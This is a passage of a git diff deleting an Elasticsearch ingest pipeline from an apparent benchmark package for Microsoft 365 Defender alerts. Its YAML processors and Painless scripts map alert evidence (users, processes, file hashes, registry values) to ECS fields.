_ingest._value.userAccount.azureAdUserId - tag: rename_foreach_evidence_useraccount_azureAdUserId - target_field: _ingest._value.user_account.azure_ad_user_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_useraccount_azureAdUserId - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_useraccount_azureAdUserId - value: '{{{_ingest._value.user_account.azure_ad_user_id}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_useraccount_userPrincipalName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.userAccount.userPrincipalName - tag: rename_foreach_evidence_useraccount_userPrincipalName - target_field: _ingest._value.user_account.user_principal_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_useraccount_user_principal_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_useraccount_user_principal_name - value: '{{{_ingest._value.user_account.user_principal_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_primaryAddress - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.primaryAddress - tag: rename_foreach_evidence_primaryAddress - target_field: _ingest._value.primary_address - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_primary_address_to_user_email - if: ctx.json?.evidence instanceof List - processor: - append: - field: user.email - tag: append_foreach_evidence_primary_address_to_user_email - value: '{{{_ingest._value.primary_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_primary_address_to_related_user - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_primary_address_to_related_user - value: '{{{_ingest._value.primary_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_useraccount_accountname - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.userAccount.accountName - tag: rename_foreach_evidence_useraccount_accountname - target_field: _ingest._value.user_account.account_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_useraccount_accountname - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_useraccount_accountname - value: '{{{_ingest._value.user_account.account_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_useraccount_userSid - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.userAccount.userSid - tag: rename_foreach_evidence_useraccount_userSid - target_field: _ingest._value.user_account.user_sid - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_useraccount_userSid - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_useraccount_userSid - value: '{{{_ingest._value.user_account.user_sid}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_clusterBy - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.clusterBy - tag: rename_foreach_evidence_clusterBy - target_field: _ingest._value.cluster_by - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_ename_clusterByValue - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.clusterByValue - tag: rename_evidence_foreach_clusterByValue - target_field: _ingest._value.cluster_by_value - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_emailCount - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.emailCount - tag: convert_foreach_evidence_emailCount - target_field: _ingest._value.email_count - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.emailCount - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_rename_networkMessageIds - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.networkMessageIds - tag: rename_foreach_evidence_networkMessageId - target_field: _ingest._value.network_message_ids - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_objectId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.objectId - tag: rename_foreach_evidence_objectId - target_field: _ingest._value.object_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_processCommandLine - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.processCommandLine - tag: rename_foreach_evidence_processCommandLine - target_field: _ingest._value.process.command_line - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_processCommandLine - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.command_line - tag: append_foreach_evidence_processCommandLine - value: '{{{_ingest._value.process.command_line}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_dot_expander_imageFile - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.imageFile - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imageFile_@odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.@odata.type - tag: rename_foreach_evidence_imageFile_@odata_type - target_field: _ingest._value.image_file.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imagefile_sha1 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.sha1 - tag: rename_foreach_evidence_imagefile_sha1 - target_field: _ingest._value.image_file.sha1 - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_imagefile_sha1_into_process_hash_sha1 - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.hash.sha1 - tag: append_foreach_evidence_imagefile_sha1_into_process_hash_sha1 - value: '{{{_ingest._value.image_file.sha1}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_imagefile_sha1_into_related_hash - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hash - tag: append_foreach_evidence_imagefile_sha1_into_related_hash - value: '{{{_ingest._value.image_file.sha1}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_imagefile_sha256 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.sha256 - tag: foreach_evidence_rename_imagefile_sha256 - target_field: _ingest._value.image_file.sha256 - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_imagefile_sha256_into_process_hash_sha256 - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.hash.sha256 - tag: append_foreach_evidence_imagefile_sha256_into_process_hash_sha256 - value: '{{{_ingest._value.image_file.sha256}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_imagefile_sha256_into_related_hash - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hash - tag: append_foreach_evidence_imagefile_sha256_into_related_hash - value: '{{{_ingest._value.image_file.sha256}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_dot_expander_parentProcessImageFile - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.parentProcessImageFile - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_@odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.@odata.type - tag: rename_foreach_evidence_parentProcessImageFile_@odata_type - target_field: _ingest._value.parent_process.image_file.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_sha1 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.sha1 - tag: rename_foreach_evidence_parentProcessImageFile_sha1 - target_field: _ingest._value.parent_process.image_file.sha1 - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_parentProcessImageFile_sha1_into_process_parent_hash_sha1 - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.parent.hash.sha1 - tag: append_foreach_evidence_parentProcessImageFile_sha1_into_process_parent_hash_sha1 - value: '{{{_ingest._value.parent_process.image_file.sha1}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_parentProcessImageFile_sha1_into_related_hash - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hash - tag: append_foreach_evidence_parentProcessImageFile_sha1_into_related_hash - value: '{{{_ingest._value.parent_process.image_file.sha1}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_sha256 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.sha256 - tag: rename_foreach_evidence_parentProcessImageFile_sha256 - target_field: _ingest._value.parent_process.image_file.sha256 - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_parentProcessImageFile_sha256_into_process_parent_hash_sha256 - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.parent.hash.sha256 - tag: append_foreach_evidence_parentProcessImageFile_sha256_into_process_parent_hash_sha256 - value: '{{{_ingest._value.parent_process.image_file.sha256}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_parentProcessImageFile_sha256_into_related_hash - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hash - tag: append_foreach_evidence_parentProcessImageFile_sha256_into_related_hash - value: '{{{_ingest._value.parent_process.image_file.sha256}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_convert_parentProcessId - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.parentProcessId - tag: convert_foreach_evidence_parentProcessId - target_field: _ingest._value.parent_process.id - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.parentProcessId - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_date_parentProcessCreationDateTime - if: ctx.json?.evidence instanceof List - processor: - date: - field: _ingest._value.parentProcessCreationDateTime - tag: date_foreach_evidence_parentProcessCreationDateTime - target_field: _ingest._value.parent_process.creation_datetime - formats: - - ISO8601 - on_failure: - - remove: - field: _ingest._value.parentProcessCreationDateTime - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_parentProcessCreationDateTime - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.parent.start - tag: append_foreach_evidence_parentProcessCreationDateTime - value: '{{{_ingest._value.parent_process.creation_datetime}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_convert_processId - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.processId - tag: convert_foreach_evidence_processId - target_field: _ingest._value.process.id - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.processId - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_date_processCreationDateTime - if: ctx.json?.evidence instanceof List - processor: - date: - field: _ingest._value.processCreationDateTime - tag: date_foreach_evidence_processCreationDateTime - target_field: _ingest._value.process.creation_datetime - formats: - - ISO8601 - on_failure: - - remove: - field: _ingest._value.processCreationDateTime - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_processCreationDateTime - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.start - tag: append_foreach_evidence_processCreationDateTime - value: '{{{_ingest._value.process.creation_datetime}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_process_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: process.name - tag: append_evidence_imageFile_to_process_name - value: '{{{_ingest._value.imageFile.fileName}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imageFile_filename - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.fileName - tag: rename_foreach_evidence_imageFile_filename - target_field: _ingest._value.image_file.name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imageFile_filepath - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.filePath - tag: rename_foreach_evidence_imageFile_filepath - target_field: _ingest._value.image_file.path - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imageFile_filePublisher - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.filePublisher - tag: rename_foreach_evidence_imageFile_filePublisher - target_field: _ingest._value.image_file.publisher - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_imagefile_filesize - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.imageFile.fileSize - tag: convert_foreach_evidence_imagefile_filesize - target_field: _ingest._value.image_file.size - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.imageFile.fileSize - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imagefile_issuer - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.issuer - tag: rename_foreach_evidence_imagefile_issuer - target_field: _ingest._value.image_file.issuer - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_imageFile_signer - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.imageFile.signer - tag: rename_foreach_evidence_imageFile_signer - target_field: _ingest._value.image_file.signer - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_filename - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.fileName - tag: rename_foreach_evidence_parentProcessImageFile_filename - target_field: _ingest._value.parent_process.image_file.name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_parentProcessImageFile_filepath - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.filePath - tag: rename_foreach_evidence_parentProcessImageFile_filepath - target_field: _ingest._value.parent_process.image_file.path - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_filepublisher - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.filePublisher - tag: rename_foreach_evidence_parentProcessImageFile_filepublisher - target_field: _ingest._value.parent_process.image_file.publisher - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_parentProcessImageFile_filesize - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.parentProcessImageFile.fileSize - tag: convert_foreach_evidence_parentProcessImageFile_filesize - target_field: _ingest._value.parent_process.image_file.size - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.parentProcessImageFile.fileSize - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_issuer - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.issuer - tag: rename_foreach_evidence_parentProcessImageFile_issuer - target_field: _ingest._value.parent_process.image_file.issuer - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_parentProcessImageFile_signer - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.parentProcessImageFile.signer - tag: rename_foreach_evidence_parentProcessImageFile_signer - target_field: _ingest._value.parent_process.image_file.signer - ignore_missing: true - - script: - description: Set process and file ECS fields from evidence (executables, pids, file size). - tag: script_set_process_fields_from_evidence - lang: painless - if: ctx.json?.evidence instanceof List - source: | - def convertToOrderedArray(def list) { - def result = new ArrayList(); - for (element in list) { - result.add(element); - } - Collections.sort(result); - return result; - } - - String joinPathAndName(String path, String name) { - if (path == null || name == null) { - return null; - } - String separator = path.contains("\\") ? "\\" : "/"; - if (!path.endsWith(separator)) { - path = path + separator; - } - return path + name; - } - - void maybeAddExecutable(def destination, def imageFile) { - if (imageFile == null) { - return; - } - if (imageFile?.path != null && imageFile?.name != null) { - destination.add(joinPathAndName(imageFile.path, imageFile.name)); - } else if (imageFile?.name != null) { - destination.add(imageFile.name); - } - } - - def processExecutable = new HashSet(); - def processParentExecutable = new HashSet(); - def fileSize = new HashSet(); - def processPid = new HashSet(); - def processParentPid = new HashSet(); - - for (evidence in ctx.json.evidence) { - maybeAddExecutable(processExecutable, evidence?.image_file); - maybeAddExecutable(processParentExecutable, evidence?.parent_process?.image_file); - - if (evidence?.odata_type == null) { - continue; - } - if (evidence.odata_type == '#microsoft.graph.security.fileEvidence') { - if (evidence?.file_details?.size != null) { - fileSize.add(evidence.file_details.size); - } - } else if (evidence.odata_type == '#microsoft.graph.security.processEvidence') { - if (evidence?.process?.id != null) { - processPid.add(evidence.process.id); - } - if (evidence?.parent_process?.id != null) { - processParentPid.add(evidence.parent_process.id); - } - } - } - - ctx.file = ctx.file ?: [:]; - ctx.process = ctx.process ?: [:]; - ctx.process.parent = ctx.process.parent ?: [:]; - - if (!fileSize.isEmpty()) { - ctx.file.size = convertToOrderedArray(fileSize); - } - if (!processPid.isEmpty()) { - ctx.process.pid = convertToOrderedArray(processPid); - } - if (!processParentPid.isEmpty()) { - ctx.process.parent.pid = convertToOrderedArray(processParentPid); - } - if (!processExecutable.isEmpty()) { - def execList = new ArrayList(processExecutable); - if (execList.size() == 1) { - ctx.process.executable = execList.get(0); - } else { - ctx.process.executable = execList; - } - } - if (!processParentExecutable.isEmpty()) { - def execList = new ArrayList(processParentExecutable); - if (execList.size() == 1) { - ctx.process.parent.executable = execList.get(0); - } else { - ctx.process.parent.executable = execList; - } - } - - foreach: - field: json.evidence - tag: foreach_evidence_rename_registryHive - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.registryHive - tag: rename_foreach_evidence_registryHive - target_field: _ingest._value.registry_hive - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_registryHive - if: ctx.json?.evidence instanceof List - processor: - append: - field: registry.hive - tag: append_foreach_evidence_registryHive - value: '{{{_ingest._value.registry_hive}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_registryKey - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.registryKey - tag: rename_foreach_evidence_registryKey - target_field: _ingest._value.registry_key - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_registryKey - if: ctx.json?.evidence instanceof List - processor: - append: - field: registry.key - tag: append_foreach_evidence_registryKey - value: '{{{_ingest._value.registry_key}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_registryValueType - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.registryValueType - tag: rename_foreach_evidence_registryValueType - target_field: _ingest._value.registry_value_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_registryValueType - if: ctx.json?.evidence instanceof List - processor: - append: - field: registry.data.type - tag: append_foreach_evidence_registryValueType - value: '{{{_ingest._value.registry_value_type}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_registryValue - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.registryValue - tag: rename_foreach_evidence_registryValue - target_field: _ingest._value.registry_value - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_registryValue - if: ctx.json?.evidence instanceof List - processor: - append: - field: registry.value - tag: append_foreach_evidence_registryValue - value: '{{{_ingest._value.registry_value}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_registryValueName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.registryValueName - tag: rename_foreach_evidence_registryValueName - target_field: _ingest._value.registry_value_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_securityGroupId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.securityGroupId - tag: rename_foreach_evidence_securityGroupId - target_field: _ingest._value.security_group_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_securityGroupId - if: ctx.json?.evidence instanceof List - processor: - append: - field: group.id - tag: append_foreach_evidence_securityGroupId - value: '{{{_ingest._value.security_group_id}}}' - allow_duplicates: false - - script: - description: Map ecs fields based on evidence type. - tag: script_to_map_evidence_ecs_fields - lang: painless - if: ctx.json?.evidence instanceof List - source: | - def convertToOrderedArray(def list) { - def result = new ArrayList(); - for (element in list) { - result.add(element); - } - Collections.sort(result); - return result; - } - if (!(ctx.cloud instanceof HashMap)) { - ctx.cloud = new HashMap(); - } - def cloudProvider = new HashSet(); - if (!(ctx.group instanceof HashMap)) { - ctx.group = new HashMap(); - } - def groupName = new HashSet(); - if (!(ctx.host instanceof HashMap)) { - ctx.host = new HashMap(); - } - def hostId = new HashSet(); - if (!(ctx.user instanceof HashMap)) { - ctx.user = new HashMap(); - } - def userDomain = new HashSet(); - def userId = new HashSet(); - def userName = new HashSet(); - def userEmail = new HashSet(); - if (!(ctx.process instanceof HashMap)) { - ctx.process = new HashMap(); - } - ctx.process.user = new HashMap(); - def processUserId = new HashSet(); - def processUserName = new HashSet(); - for (evidence in ctx.json.evidence) { - if (evidence?.odata_type == null) { - continue - } - if (evidence?.odata_type == '#microsoft.graph.security.securityGroupEvidence') { - if (evidence?.display_name != null) { - groupName.add(evidence.display_name); - } - } - if (evidence?.odata_type == '#microsoft.graph.security.deviceEvidence') { - if (evidence?.mde_device_id != null) { - hostId.add(evidence.mde_device_id); - } - } - if (['#microsoft.graph.security.mailboxEvidence', '#microsoft.graph.security.userEvidence'].contains(evidence.odata_type)) { - if (evidence?.user_account?.domain_name != null) { - userDomain.add(evidence.user_account.domain_name); - } - if (evidence?.user_account?.azure_ad_user_id != null) { - userId.add(evidence.user_account.azure_ad_user_id); - } - if (evidence?.user_account?.user_principal_name != null) { - userEmail.add(evidence.user_account.user_principal_name); - } - if (evidence?.user_account?.account_name != null) { - userName.add(evidence.user_account.account_name); - } - } - if (evidence?.odata_type == '#microsoft.graph.security.processEvidence') { - if (evidence?.user_account?.azure_ad_user_id != null) { - processUserId.add(evidence.user_account.azure_ad_user_id); - } - if (evidence?.user_account?.account_name != null) { - processUserName.add(evidence.user_account.account_name); - } - } - if (evidence?.vm_metadata?.cloud_provider != null && evidence.vm_metadata.cloud_provider.toLowerCase() == 'azure') { - cloudProvider.add('azure'); - } - } - if (!cloudProvider.isEmpty()) { - ctx.cloud.provider = convertToOrderedArray(cloudProvider); - } - if (!groupName.isEmpty()) { - ctx.group.name = convertToOrderedArray(groupName); - } - if (!hostId.isEmpty()) { - ctx.host.id = convertToOrderedArray(hostId); - } - if (!userDomain.isEmpty()) { - ctx.user.domain = convertToOrderedArray(userDomain); - } - if (!userId.isEmpty()) { - ctx.user.id = convertToOrderedArray(userId); - } - if (!userName.isEmpty()) { - ctx.user.name = convertToOrderedArray(userName); - } - if (!userEmail.isEmpty()) { - ctx.user.email = convertToOrderedArray(userEmail); - } - if (!processUserId.isEmpty()) { - ctx.process.user.id = convertToOrderedArray(processUserId); - } - if (!processUserName.isEmpty()) { - ctx.process.user.name = convertToOrderedArray(processUserName); - } - - foreach: - field: process.pid - tag: foreach_process_pid - if: ctx.process?.pid instanceof List - processor: - append: - field: process.entity_id - tag: append_process_pid_to_entity_id - value: '{{{_ingest._value}}}' - allow_duplicates: false - - foreach: - field: process.parent.pid - tag: foreach_process_parent_pid - if: ctx.process?.parent?.pid instanceof List - processor: - append: - field: process.parent.entity_id - tag: append_process_parent_pid_to_entity_id - value: '{{{_ingest._value}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_remove_fields - if: ctx.json?.evidence instanceof List - processor: - remove: - field: - - _ingest._value.createdDateTime - - _ingest._value.receivedDateTime - - _ingest._value.attachmentsCount - - _ingest._value.firstSeenDateTime - - _ingest._value.parentProcessCreationDateTime - - _ingest._value.processCreationDateTime - - _ingest._value.senderIp - - _ingest._value.urlCount - - _ingest._value.instanceId - - _ingest._value.appId - - _ingest._value.saasAppId - - _ingest._value.osBuild - - _ingest._value.rbacGroupId - - _ingest._value.fileDetails.fileSize - - _ingest._value.ipAddress - - _ingest._value.emailCount - - _ingest._value.parentProcessId - - _ingest._value.processId - - _ingest._value.imageFile.fileSize - - _ingest._value.parentProcessImageFile.fileSize - - _ingest._value.internetMessageId - - _ingest._value.networkMessageId - ignore_missing: true - - rename: - field: json.evidence - tag: rename_evidence - target_field: m365_defender.alert.evidence - ignore_missing: true - - remove: - if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) - tag: remove_ecs_duplicate_fields - field: - - m365_defender.alert.last_update_datetime - - m365_defender.alert.description - - m365_defender.alert.created_datetime - - m365_defender.alert.last_activity_datetime - - m365_defender.alert.id - - m365_defender.alert.service_source - - m365_defender.alert.first_activity_datetime - - m365_defender.alert.web_url - - m365_defender.alert.assigned_to - - m365_defender.alert.category - - m365_defender.alert.mitre_techniques - - m365_defender.alert.tenant_id - ignore_missing: true - - foreach: - field: m365_defender.alert.evidence - tag: remove_foreach_ecs_duplicate_fields - if: ctx.m365_defender?.alert?.evidence instanceof List && (ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))) - processor: - remove: - field: - - _ingest._value.ip_address - - _ingest._value.detection_status - - _ingest._value.received_datetime - - _ingest._value.antispam_direction - - _ingest._value.subject - - _ingest._value.recipient_email_address - - _ingest._value.instance_id - - _ingest._value.instance_name - - _ingest._value.vm_metadata.cloud_provider - - _ingest._value.os_platform - - _ingest._value.version - - _ingest._value.file_details.sha1 - - _ingest._value.file_details.sha256 - - _ingest._value.file_details.name - - _ingest._value.file_details.path - - _ingest._value.file_details.size - - _ingest._value.process.command_line - - _ingest._value.image_file.sha1 - - _ingest._value.image_file.sha256 - - _ingest._value.parent_process.image_file.sha1 - - _ingest._value.parent_process.image_file.sha256 - - _ingest._value.parent_process.id - - _ingest._value.parent_process.creation_datetime - - _ingest._value.process.id - - _ingest._value.process.creation_datetime - - _ingest._value.registry_value_type - - _ingest._value.registry_hive - - _ingest._value.registry_key - - _ingest._value.registry_value - - _ingest._value.security_group_id - ignore_missing: true - - script: - lang: painless - tag: set_process_name_from_command_line - description: Set process.name from process.command_line. - if: ctx.process?.name == null - source: | - ctx.process = ctx.process ?: [:]; - ctx.process.name = ctx.process.name ?: []; - // Normalize process.name to a list - def nameList = []; - if (ctx.process.name != null) { - if (ctx.process.name instanceof String) { - nameList.add(ctx.process.name); - } else if (ctx.process.name instanceof List) { - nameList.addAll(ctx.process.name); - } - } - - // Deduplication using HashSet - def currentNames = new HashSet(); - currentNames.addAll(nameList); - // Handle process.command_line (string or list) - if (ctx.process.command_line != null) { - // Convert string to list for unified handling - def cmdList = []; - if (ctx.process.command_line instanceof String) { - cmdList.add(ctx.process.command_line); - } else if (ctx.process.command_line instanceof List) { - cmdList.addAll(ctx.process.command_line); - } - for (cmd in cmdList) { - if (cmd != null && cmd.length() > 0) { - // Extract the first token - def parts = cmd.trim().splitOnToken(" "); - if (parts.length > 0) { - def executable = parts[0]; - // If executable is a path, take only the last part - if (executable.contains("/")) { - def slashParts = executable.splitOnToken("/"); - executable = slashParts[slashParts.length - 1]; - } - executable = /\"/.matcher(executable).replaceAll(""); - currentNames.add(executable); - } - } - } - } - // Update process.name with unique list - if (currentNames != null && currentNames.size() == 1) { - ctx.process.name = currentNames.iterator().next(); - } else { - ctx.process.name = new ArrayList(currentNames); - } - on_failure: - - append: - tag: append_error_message_2b136ec5 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - remove: - field: json - tag: remove_json - ignore_missing: true - - script: - tag: script_to_drop_null_values - lang: painless - source: |- - boolean drop(Object object) { - if (object == null || object == '') { - return true; - } else if (object instanceof Map) { - ((Map) object).values().removeIf(v -> drop(v)); - return (((Map) object).size() == 0); - } else if (object instanceof List) { - ((List) object).removeIf(v -> drop(v)); - return (((List) object).length == 0); - } - return false; - } - drop(ctx); - description: Drops null/empty values recursively. - on_failure: - - append: - tag: append_error_message_0886867f - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - append: - tag: append_event_kind_d2f25e35 - field: event.kind - value: pipeline_error - allow_duplicates: false - if: ctx.error?.message != null - - append: - tag: append_tags_9fe66b2c - field: tags - value: preserve_original_event - allow_duplicates: false - if: ctx.error?.message != null -on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.kind - value: pipeline_error - - append: - field: tags - value: preserve_original_event - allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml deleted file mode 100644 index bbcb02bdd7..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml +++ /dev/null @@ -1,20 +0,0 @@ -- name: data_stream.type - type: constant_keyword - description: Data stream type. -- name: data_stream.dataset - type: 